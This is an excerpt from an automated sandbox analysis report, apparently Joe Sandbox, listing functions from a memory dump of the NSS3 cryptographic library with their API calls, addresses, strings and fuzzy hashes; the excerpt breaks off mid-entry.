Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: a598fa0e041c9c2dc230a96c5c3e1cfc67608359c0a0427388d9bae09e57cd3b
Instruction ID: 150bd82692dbb3fe9ff4f6ef2317caccbc89f28e88b18bfdd7ae66b7adfdaaa3
Opcode Fuzzy Hash: a598fa0e041c9c2dc230a96c5c3e1cfc67608359c0a0427388d9bae09e57cd3b
Instruction Fuzzy Hash: 7631A072A01211AFD720DF68DC80B9AB7A4EF49358F15802DE9189BB51F731E915CBE1

Function 6CBFAF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CBFAFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CD19500,6CBF3F91), ref: 6CBFAFD2

Part of subcall function 6CC4B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD218D0,?), ref: 6CC4B095

DER_GetInteger_Util.NSS3(?), ref: 6CBFB007

Part of subcall function 6CC46A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6CBF1666,?,6CBFB00C,?), ref: 6CC46AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CBFB02F
PR_CallOnce.NSS3(6CD52AA4,6CC512D0), ref: 6CBFB046
PL_FreeArenaPool.NSS3 ref: 6CBFB058
PL_FinishArenaPool.NSS3 ref: 6CBFB060

Strings

security, xrefs: 6CBFAFB8

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 7e032a450070ca64181a68200d2249f3cfd2fa70f60f01f6dbdb8d4698cc22c7
Instruction ID: 8488a673b1de0bb84f09a08c8b2c049b0dcac7a97e63b5419dab2b6d0d4acf52
Opcode Fuzzy Hash: 7e032a450070ca64181a68200d2249f3cfd2fa70f60f01f6dbdb8d4698cc22c7
Instruction Fuzzy Hash: 0331F471404340ABEB108F34DC45BAA77A8AF8632CF544619E9749BBD1E732911ECB9B

Function 6CC3CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6CC3CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6CC3CE16
PR_SetError.NSS3(00000000,00000000), ref: 6CC3D079

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 1bf2f14c67bdff17cd77b00d8d9cd19ae4b0318e68c8b740db3e51e012353165
Instruction ID: 947b2efa1725a900e7d4fd4116c1e44f50d45ca83768a5f5099bf3028b558bac
Opcode Fuzzy Hash: 1bf2f14c67bdff17cd77b00d8d9cd19ae4b0318e68c8b740db3e51e012353165
Instruction Fuzzy Hash: 04C19EB1A002299BDB10DF24DC80BDAB7B4BF48308F1452A8E94CA7741F775EA95CF90

Function 6CC03C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6CC03C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6CC03C94

Part of subcall function 6CBF95B0: TlsGetValue.KERNEL32(00000000,?,6CC100D2,00000000), ref: 6CBF95D2
Part of subcall function 6CBF95B0: EnterCriticalSection.KERNEL32(?,?,?,6CC100D2,00000000), ref: 6CBF95E7
Part of subcall function 6CBF95B0: PR_Unlock.NSS3(?,?,?,?,6CC100D2,00000000), ref: 6CBF9605

PORT_NewArena_Util.NSS3(00000800), ref: 6CC03CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6CC03CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6CC03CE1

Part of subcall function 6CC03090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC1AE42), ref: 6CC030AA
Part of subcall function 6CC03090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC030C7
Part of subcall function 6CC03090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CC030E5
Part of subcall function 6CC03090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC03116
Part of subcall function 6CC03090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CC0312B
Part of subcall function 6CC03090: PK11_DestroyObject.NSS3(?,?), ref: 6CC03154
Part of subcall function 6CC03090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC0317E

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: 1735efd0f1c530bf2bd9a3c38ce1c811358f7e232767bb18617a6955f1e74475
Instruction ID: d508554eb189b0628f9f222331f63bb3492e97158bc3ad0481b78d25f05b2ecd
Opcode Fuzzy Hash: 1735efd0f1c530bf2bd9a3c38ce1c811358f7e232767bb18617a6955f1e74475
Instruction Fuzzy Hash: 4E61C3B5B00200AFEB105F65DC45FAB76B9EF04748F4C4128FE199AA52F722D919C7B1

Function 6CBF2C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(C1A3ABFF), ref: 6CBF2C5D

Part of subcall function 6CC50D30: calloc.MOZGLUE ref: 6CC50D50
Part of subcall function 6CC50D30: TlsGetValue.KERNEL32 ref: 6CC50D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6CBF2C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CBF2CE0

Part of subcall function 6CBF2E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CBF2CDA,?,00000000), ref: 6CBF2E1E
Part of subcall function 6CBF2E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CBF2E33
Part of subcall function 6CBF2E00: TlsGetValue.KERNEL32 ref: 6CBF2E4E
Part of subcall function 6CBF2E00: EnterCriticalSection.KERNEL32(?), ref: 6CBF2E5E
Part of subcall function 6CBF2E00: PL_HashTableLookup.NSS3(?), ref: 6CBF2E71
Part of subcall function 6CBF2E00: PL_HashTableRemove.NSS3(?), ref: 6CBF2E84
Part of subcall function 6CBF2E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CBF2E96
Part of subcall function 6CBF2E00: PR_Unlock.NSS3 ref: 6CBF2EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBF2D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6CBF2D30
CERT_MakeCANickname.NSS3(00000001), ref: 6CBF2D3F
free.MOZGLUE(00000000), ref: 6CBF2D73
CERT_DestroyCertificate.NSS3(?), ref: 6CBF2DB8
free.MOZGLUE ref: 6CBF2DC8

Part of subcall function 6CBF3E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBF3EC2
Part of subcall function 6CBF3E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CBF3ED6
Part of subcall function 6CBF3E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CBF3EEE
Part of subcall function 6CBF3E60: PR_CallOnce.NSS3(6CD52AA4,6CC512D0), ref: 6CBF3F02
Part of subcall function 6CBF3E60: PL_FreeArenaPool.NSS3 ref: 6CBF3F14
Part of subcall function 6CBF3E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CBF3F27

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: dc24dba26d56826b73253627ab44c4f3718d404ed10cd1b4a7be68ca155626cc
Instruction ID: c0b0ae7c90c54f424748c812d8091644a8e2cd9d44bcc8456fcb0c6a0c067170
Opcode Fuzzy Hash: dc24dba26d56826b73253627ab44c4f3718d404ed10cd1b4a7be68ca155626cc
Instruction Fuzzy Hash: C051D075A042A59BEB00DE68DC89B5B77E5EF84348F140428EC6583750E731E81ACBA3

Function 6CC18F70 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC18FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC18FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC18FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CC19013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CC19042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC1905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CC19073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CC190EC

Part of subcall function 6CBE0F00: PR_GetPageSize.NSS3(6CBE0936,FFFFE8AE,?,6CB716B7,00000000,?,6CBE0936,00000000,?,6CB7204A), ref: 6CBE0F1B
Part of subcall function 6CBE0F00: PR_NewLogModule.NSS3(clock,6CBE0936,FFFFE8AE,?,6CB716B7,00000000,?,6CBE0936,00000000,?,6CB7204A), ref: 6CBE0F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CC19111

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID:
API String ID: 2831689957-0
Opcode ID: b8b5ed80188f9d615a30b75fa64b541aa84534823c922ab2581259b5e345a5d2
Instruction ID: 6557f05a60681016fefe2183636210a13fe2d6ae8b06b45dac2464823925c45d
Opcode Fuzzy Hash: b8b5ed80188f9d615a30b75fa64b541aa84534823c922ab2581259b5e345a5d2
Instruction Fuzzy Hash: E051AD71A082048FEF00EF7AC488659BBF4BF49318F5545A9DD449BB15EB30E889CB81

Function 6CBF8980 Relevance: 13.6, APIs: 9, Instructions: 150memoryCOMMON

Download Yara Rule

APIs

PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6CBF7310), ref: 6CBF89B8

Part of subcall function 6CC51200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CBF88A4,00000000,00000000), ref: 6CC51228
Part of subcall function 6CC51200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CC51238
Part of subcall function 6CC51200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CBF88A4,00000000,00000000), ref: 6CC5124B
Part of subcall function 6CC51200: PR_CallOnce.NSS3(6CD52AA4,6CC512D0,00000000,00000000,00000000,?,6CBF88A4,00000000,00000000), ref: 6CC5125D
Part of subcall function 6CC51200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CC5126F
Part of subcall function 6CC51200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CC51280
Part of subcall function 6CC51200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CC5128E
Part of subcall function 6CC51200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CC5129A
Part of subcall function 6CC51200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CC512A1

PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6CBF7310), ref: 6CBF89E6
PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6CBF8A00
CERT_CopyRDN.NSS3(00000004,00000000,6CBF7310,?,?,00000004,?), ref: 6CBF8A1B
PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6CBF8A74
PR_SetError.NSS3(FFFFE005,00000000,00000000,?,00000028,?,?,6CBF7310), ref: 6CBF8AAF
PORT_ArenaAlloc_Util.NSS3(00000004,00000008,00000000,?,00000028,?,?,6CBF7310), ref: 6CBF8AF3
PORT_ArenaGrow_Util.NSS3(00000004,?,C8850FC0,00000000,00000000,?,00000028,?,?,6CBF7310), ref: 6CBF8B1D

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_$CriticalFreeGrow_PoolSectionfree$Arena_CallClearCopyDeleteEnterErrorOnceUnlockValue
String ID:
API String ID: 3791662518-0
Opcode ID: 3e718ccd6bab1a6fedfd2d9a6eb7fe1c954d190e0ed5511cbc5e350e8e81dcb0
Instruction ID: fd5965261551198baf71bf520f8d0683d1bf5eceac1625ada616b125db072912
Opcode Fuzzy Hash: 3e718ccd6bab1a6fedfd2d9a6eb7fe1c954d190e0ed5511cbc5e350e8e81dcb0
Instruction Fuzzy Hash: 31510771601250AFE7108F16CC44B6A77A4EF4371CF55815AEC289B791E773E81ACB92

Function 6CBF7CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBF40D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CBF3F7F,?,00000055,?,?,6CBF1666,?,?), ref: 6CBF40D9
Part of subcall function 6CBF40D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CBF1666,?,?), ref: 6CBF40FC
Part of subcall function 6CBF40D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CBF1666,?,?), ref: 6CBF4138

PR_GetCurrentThread.NSS3 ref: 6CBF7CFD

Part of subcall function 6CCB9BF0: TlsGetValue.KERNEL32(?,?,?,6CD00A75), ref: 6CCB9C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6CD19030), ref: 6CBF7D1B

Part of subcall function 6CC4FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6CBF1A3E,00000048,00000054), ref: 6CC4FD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6CD19048), ref: 6CBF7D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6CBF7D50
PR_GetCurrentThread.NSS3 ref: 6CBF7D61
PORT_ArenaMark_Util.NSS3(?), ref: 6CBF7D7D
free.MOZGLUE(?), ref: 6CBF7D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6CBF7DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6CBF7E19

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 9fad19da695e422459159061530a8b7acd4003edc99eed57298dee933c952652
Instruction ID: f37fc943664bf1e17b55427c8c6593314009d93344bc9657300c6e605ba9051d
Opcode Fuzzy Hash: 9fad19da695e422459159061530a8b7acd4003edc99eed57298dee933c952652
Instruction Fuzzy Hash: CB41E8B69001699FEB008F699C41BAF33A8DF4125CF4500A4ED25B7B51E770E91E86F2

Function 6CC53CA0 Relevance: 13.6, APIs: 9, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,-00000001,?,00000000,?,6CC538BD), ref: 6CC53CBE
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,?,-00000001,?,00000000,?,6CC538BD), ref: 6CC53CD1

Part of subcall function 6CC50BE0: malloc.MOZGLUE(6CC48D2D,?,00000000,?), ref: 6CC50BF8
Part of subcall function 6CC50BE0: TlsGetValue.KERNEL32(6CC48D2D,?,00000000,?), ref: 6CC50C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,6CC538BD), ref: 6CC53CF0
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6CD2B369,000000FF,00000000,00000000,?,000000FF,00000000,00000000,6CC538BD), ref: 6CC53D0B
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,6CC538BD), ref: 6CC53D1A
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6CD2B369,000000FF,00000000,00000000,00000000,6CC538BD), ref: 6CC53D38
_wfopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000), ref: 6CC53D47
free.MOZGLUE(00000000), ref: 6CC53D62
free.MOZGLUE(000000FF,?,000000FF,00000000,00000000,6CC538BD), ref: 6CC53D6F

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_Utilfree$Value_wfopenmalloc
String ID:
API String ID: 2345246809-0
Opcode ID: b61717d418fd4936de5f1d4ca3821dfe19d66f1adb950b0cfe407f58504fb4f5
Instruction ID: 4482397ceddf7658725fb69348ad5f1aa96efc38e87791f04bd4c24bd76bfdb9
Opcode Fuzzy Hash: b61717d418fd4936de5f1d4ca3821dfe19d66f1adb950b0cfe407f58504fb4f5
Instruction Fuzzy Hash: C121A7757011123BFB106A7B4C09E7735BCDBC26A8B580635BA39D76C0FA60D8248275

Function 6CB8E890 Relevance: 12.4, APIs: 5, Strings: 3, Instructions: 442stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6CB8E922
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CB8E9CF
memcpy.VCRUNTIME140(00000024,?,?), ref: 6CB8EA0F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB8EB20
memcpy.VCRUNTIME140(?,?,?), ref: 6CB8EB57

Strings

unknown column "%s" in foreign key definition, xrefs: 6CB8ED18
foreign key on %s should reference only one column of table %T, xrefs: 6CB8EE04
number of columns in foreign key does not match the number of columns in the referenced table, xrefs: 6CB8EDC2

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: memcpystrlen$memset
String ID: foreign key on %s should reference only one column of table %T$number of columns in foreign key does not match the number of columns in the referenced table$unknown column "%s" in foreign key definition
API String ID: 638109778-272990098
Opcode ID: d6bfe66965f15d323d77a453a458e0dc3d69d2bfe2c8f6589975b9f7f62a49d3
Instruction ID: f9aaa6cce87520af2171675bc153925a7d1cb4d24280379b34396aa4b3397b28
Opcode Fuzzy Hash: d6bfe66965f15d323d77a453a458e0dc3d69d2bfe2c8f6589975b9f7f62a49d3
Instruction Fuzzy Hash: 7802AF79E06199CFDB04CF99C4C0AAEB7B2FF89308F284169D815AB751D731A805CBE1

Function 6CC54DF0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6CC5536F,00000022,?,?,00000000,?), ref: 6CC54E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6CC54F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6CC54F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6CC54FAE
free.MOZGLUE(?), ref: 6CC54FC8

Strings

%s=%c%s%c, xrefs: 6CC54FA9
%s=%s, xrefs: 6CC54F89

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s
API String ID: 2709355791-2032576422
Opcode ID: a6b57d227e1634d883dc7775e576afb6cd7edc9ecc364ad9d012b6eb1f70c7a5
Instruction ID: 2b5ff30044b7049c4d8ab4ff6b1ef06d438e3e4606382da444889a30c2355456
Opcode Fuzzy Hash: a6b57d227e1634d883dc7775e576afb6cd7edc9ecc364ad9d012b6eb1f70c7a5
Instruction Fuzzy Hash: D9514B31B051458BEB01CA6EC4907FFBBF5AF42308F988225E894A7B41F37598758799

Function 6CBE69A0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 162COMMON

Download Yara Rule

APIs

Part of subcall function 6CB7CA30: EnterCriticalSection.KERNEL32(?,?,?,6CBDF9C9,?,6CBDF4DA,6CBDF9C9,?,?,6CBA369A), ref: 6CB7CA7A
